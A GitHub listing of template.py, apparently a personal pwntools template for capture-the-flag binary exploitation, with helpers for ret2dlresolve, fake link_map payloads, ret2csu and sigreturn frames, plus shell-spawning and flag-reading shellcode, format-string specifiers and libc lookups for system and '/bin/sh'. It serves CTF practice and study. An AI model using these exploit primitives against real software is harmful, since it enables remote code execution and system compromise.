-
Notifications
You must be signed in to change notification settings - Fork 0
/
template.py
323 lines (265 loc) · 9.5 KB
/
template.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
from pwn import *
from LibcSearcher import *
from pwnlib.dynelf import ctypes
from pwnlib.fmtstr import make_atoms_simple
from ctypes import *
context(arch="amd64", os="linux", log_level="debug")
context.terminal = ["tmux", "split", "-h"]
# context(arch="amd64",os="linux",log_level="debug")
binary = "../"
libc = "../Libcs/libc.so.6_3"
rop = ROP(binary)
elf = ELF(binary)
libcElf = ELF(libc)
libcDll = cdll.LoadLibrary(libc)
libcDll.srand(1)
local = 0
ip, port = "61.147.171.105", 29144
# ip, port = "chall.pwnable.tw" 1
if local == 0:
p = process(binary)
else:
# p = remote(ip, port)
# p = remote("pwn.challenge.ctf.show",port)
p = remote("node5.buuoj.cn", port)
next = b"ls && cat flag"
ls = lambda addr: log.success(hex(addr))
# =============== libc ===============#
system_libc = libcElf.symbols["system"]
binsh_libc = libcElf.search(b"/bin/sh").__next__()
write_libc = libcElf.symbols["write"]
read_libc = libcElf.symbols["read"]
# ===============plt & got===============#
# putsPlt = elf.plt["puts"]
# putsGot = elf.got["puts"]
# writePlt = elf.plt["write"]
# writeGot = elf.got["write"]
# printfPlt = elf.plt["printf"]
# printfGot = elf.got["printf"]
# readPlt = elf.plt["read"]
# readGot = elf.got["read"]
# mainGot = elf.got["__libc_start_main"]
mprotectPlt = 0x440520
# print(hex(writePlt))
# print(hex(writeGot))
def ret2dlresolve_x64(elf, store_addr, func_name, resolve_addr):
plt0 = elf.get_section_by_name(".plt").header.sh_addr
rel_plt = elf.get_section_by_name(".rela.plt").header.sh_addr
relaent = elf.dynamic_value_by_tag("DT_RELAENT") # reloc entry size
dynsym = elf.get_section_by_name(".dynsym").header.sh_addr
syment = elf.dynamic_value_by_tag("DT_SYMENT") # symbol entry size
dynstr = elf.get_section_by_name(".dynstr").header.sh_addr
# construct fake function string
func_string_addr = store_addr
resolve_data = func_name + "\x00"
# construct fake symbol
symbol_addr = store_addr + len(resolve_data)
offset = symbol_addr - dynsym
pad = syment - offset % syment # align syment size
symbol_addr = symbol_addr + pad
symbol = (
p32(func_string_addr - dynstr) + p8(0x12) + p8(0) + p16(0) + p64(0) + p64(0)
)
symbol_index = (symbol_addr - dynsym) / 24
resolve_data += "a" * pad
resolve_data += symbol
# construct fake reloc
reloc_addr = store_addr + len(resolve_data)
offset = reloc_addr - rel_plt
pad = relaent - offset % relaent # align relaent size
reloc_addr += pad
reloc_index = (reloc_addr - rel_plt) / 24
rinfo = (symbol_index << 32) | 7
write_reloc = p64(resolve_addr) + p64(rinfo) + p64(0)
resolve_data += "a" * pad
resolve_data += write_reloc
resolve_call = p64(plt0) + p64(reloc_index)
return resolve_data, resolve_call
def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
# &(2**64-1)是因为offset为负数,如果不控制范围,p64后会越界,发生错误
linkmap = p64(offset & (2**64 - 1)) # l_addr
# fake_linkmap_addr + 8,也就是DT_JMPREL,至于为什么有个0,可以参考IDA上.dyamisc的结构内容
linkmap += p64(0) # 可以为任意值
linkmap += p64(fake_linkmap_addr + 0x18) # 这里的值就是伪造的.rel.plt的地址
# fake_linkmap_addr + 0x18,fake_rel_write,因为write函数push的索引是0,也就是第一项
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2**64 - 1))
# Rela->r_offset,正常情况下这里应该存的是got表对应条目的地址,解析完成后在这个地址上存放函数的实际地址,此处我们只需要设置一个可读写的地址即可
linkmap += p64(
0x7
) # Rela->r_info,用于索引symtab上的对应项,7>>32=0,也就是指向symtab的第一项
linkmap += p64(0) # Rela->r_addend,任意值都行
linkmap += p64(0) # l_ns
# fake_linkmap_addr + 0x38, DT_SYMTAB
linkmap += p64(0) # 参考IDA上.dyamisc的结构
linkmap += p64(
known_func_ptr - 0x8
) # 这里的值就是伪造的symtab的地址,为已解析函数的got表地址-0x8
linkmap += b"/bin/sh\x00"
linkmap = linkmap.ljust(0x68, b"A")
linkmap += p64(fake_linkmap_addr)
# fake_linkmap_addr + 0x68, 对应的值的是DT_STRTAB的地址,由于我们用不到strtab,所以随意设置了一个可读区域
linkmap += p64(fake_linkmap_addr + 0x38)
# fake_linkmap_addr + 0x70 , 对应的值是DT_SYMTAB的地址
linkmap = linkmap.ljust(0xF8, b"A")
linkmap += p64(fake_linkmap_addr + 0x8)
# fake_linkmap_addr + 0xf8, 对应的值是DT_JMPREL的地址
return linkmap
"""
plt0 = elf.get_section_by_name('.plt').header.sh_addr # 0x80483e0
relPlt = elf.get_section_by_name('.rel.plt').header.sh_addr # 0x8048390
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr # 0x80481cc
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr # 0x804828c
bssAddr = elf.get_section_by_name('.bss').header.sh_addr # 0x804a028
baseAddr = bssAddr + 0x600 # 0x804a628
"""
# ==================rop==================#
# mainAddr = elf.symbols["main"] # 32 bits not allowed
vulnAddr = 0x4004F1
# mainAddr = 0x8048484
# extAddr = elf.symbols["exit"]
# print(hex(extAddr))
retAddr = 0x00000000004003A9
levretAddr = 0x0000000000400A73
# bdrAddr = 0x804862B
# bdrAddr = elf.symbols["backdoor"] #32 bits not allowed
bdrAddr = 0x4004D7
rdiAddr = 0x00000000004005A3
# pop rdi;ret
rsiAddr = 0x00000000004005A1
# pop rsi;pop r15;ret
raxAddr = 0x00000000004004E3
rbpAddr = 0x00000000004004EB
# syscallAddr = 0x00000000004004fe
syscall_retAddr = 0x0000000000400517
lev_retAddr = 0x0000000000400537
hntAddr = 0x804831A # bin/sh
# sysAddr = elf.plt["system"]
# 0x000000000049ef78 : mov rdi, rsp ; call rbp
rsp_rdiAddr = 0x49EF78
# 0x00000000004004d1 : pop rbp ; ret
rbpAddr = 0x4004D1
sysAddr = 0x4004E2
csuStart = 0x400580
csuEnd = 0x40059A
# ===============shellcode===============#
# shellcode = asm(shellcraft.sh())
# shellcode = asm(shellcraft.cat('flag'))
shell = shellcraft.open("./flag")
shell += shellcraft.read("eax", "esp", 100)
shell += shellcraft.write(1, "esp", 100)
shellcode = """
xor eax,eax
xor edx,edx
push edx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor ecx,ecx
mov al,0xB
int 0x80
"""
# orw
# shellcode = asm(shell)
# shellcode = b'\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80'
# 21 bits
# payload = shellcode;
# =============format string=============#
strAddr = 0x80486F8
# fmtStr = b"%11$n"
# fmtStr = b"%6$lx|"
fmtStr = b"%13$n"
fmtStr = b"%18$n|"
# fmtStr = b"|%31$08x|"
# fmtStr = b"%11$lx|"
# 16 -> 10
# offset 8 25
# 0x400000
# payload=fmtstr_payload(7,{printf_got:system_plt})
# payload = fmtstr_payload(8, {printf_got: sys}, write_size="byte", numbwritten=0xA)
# =================heap =================#
mainArenaOffset = 0x3C4B20
OffsetUnsortedbinArena = 88
# ======== __do_global_dtors_aux ========#
add_dword_rbp_0x3d_ebx_ret = 0x0040112C
# 0: 01 5d c3 add DWORD PTR [rbp-0x3d], ebx
# ================= rsa =================#
N = 94576960329497431
"""
pp = 261571747
q = 361571773
phi = (pp-1)*(q-1)
d = 26375682325297625
"""
def powmod(a, b, m):
if a == 0:
return 0
if b == 0:
return 1
res = powmod(a, b // 2, m)
res *= res
res %= m
if b & 1:
res *= a
res %= m
return res
def ans(sh):
sh.recvuntil("it\n")
for _ in range(20):
c = int(sh.recvline())
m = powmod(c, d, N)
sh.sendline(str(m))
sh.recvline()
# =================func =================#
def search(funcName: str, funcAddr: int):
log.success(funcName + ": " + hex(funcAddr))
libc = LibcSearcher(funcName, funcAddr)
offset = funcAddr - libc.dump(funcName)
binsh = offset + libc.dump("str_bin_sh")
system = offset + libc.dump("system")
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
def searchFromLibc(funcName: str, funcAddr: int, libc=libcElf):
log.success(funcName + ": " + hex(funcAddr))
offset = funcAddr - libc.symbols[funcName]
binsh = offset + libc.search(b"/bin/sh").__next__()
system = offset + libc.symbols["system"]
log.success("system: " + hex(system))
log.success("binsh: " + hex(binsh))
return (system, binsh)
# __libc_start_main
def csu(edi=0, rsi=0, rdx=0, r12=0, start=csuStart):
end = start + 0x1A
payload = p64(end)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(r12) # r12
payload += p64(edi) # edi
payload += p64(rsi) # rsi
payload += p64(rdx) # rdx
payload += p64(start)
payload += b"a" * 56
return payload
def sig(rax=0, rdi=0, rsi=0, rdx=0, rsp=0, rip=0):
sigframe = SigreturnFrame()
sigframe.rax = rax
sigframe.rdi = rdi # "/bin/sh" 's addr
sigframe.rsi = rsi
sigframe.rdx = rdx
sigframe.rsp = rsp
sigframe.rip = rip
return bytes(sigframe)
# =================start=================#
# gdb.attach(p)
payload = b""
p.sendline(payload)
"""
for i in range(0, len(canary), 2):
tmp = u32(canary[i:i+2].ljust(4, b'\0'))
sCanary += chr(tmp)
log.success(sCanary)
"""
# ================round 2================#
# ================= End =================#
# p.sendline(next)
p.interactive()